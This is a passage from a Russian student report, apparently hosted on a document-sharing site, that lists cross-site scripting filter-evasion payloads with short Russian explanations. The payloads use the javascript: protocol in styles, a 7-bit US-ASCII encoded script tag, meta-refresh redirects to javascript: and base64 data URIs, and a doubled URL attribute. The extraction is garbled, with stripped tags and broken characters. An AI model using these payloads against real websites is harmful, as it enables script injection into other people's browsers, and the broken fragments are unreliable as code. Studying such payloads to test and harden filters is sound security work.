Ddos атака. Инструкция по эксплуатации программы. В заключении представлены развернутые выводы по данной работе

• Название: Инструкция по эксплуатации программы. В заключении представлены развернутые выводы по данной работе
• Анкор: Ddos атака
• Дата: 23.11.2022
• Размер: 1.22 Mb.
• Имя файла: 2015_Kochetkov_P_rpz.pdf
• Тип: Инструкция; #807338
• страница: 2 из 3

;
REL=stylesheet">
Запись JS-скрипта в css-файл и добавление с помощью тега
>
Атрибут
STYLE и использование символа комментирования, чтобы скрыть инъекцию
CLASS=XSS>
Стиль с использованием background-image и протокола javascript:

Стиль с использованием background и протокола javascript:
¼script¾alert(¢XSS¢)¼/script¾
Используется неправильная кодировка. ASCII с 7 битами вместо 8. Это XSS может обойти многие фильтры контента, но работает только если хост передает в US-
ASCII кодировке

23
CONTENT="0;url=javascript:alert('XSS');">
Использование тега
, с атрибутом HTTP-
EQUIV="refresh", позволяющим загрузить документ по url в текущее окно браузера. В этом случае, выполнить javascript
CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Nj cmlwdD4K">
Использование тега
, с атрибутом HTTP-
EQUIV="refresh", позволяющим загрузить документ по url в текущее окно браузера и дополнительное шифрование javascript в base64, понятное браузеру, но не понятное xss- фильтрам
URL=http://;URL=javascript:alert('XSS');">
Если фильтр проверяет атрибут URL у тега , обойти его можно этим способом.

Используется, если разрешены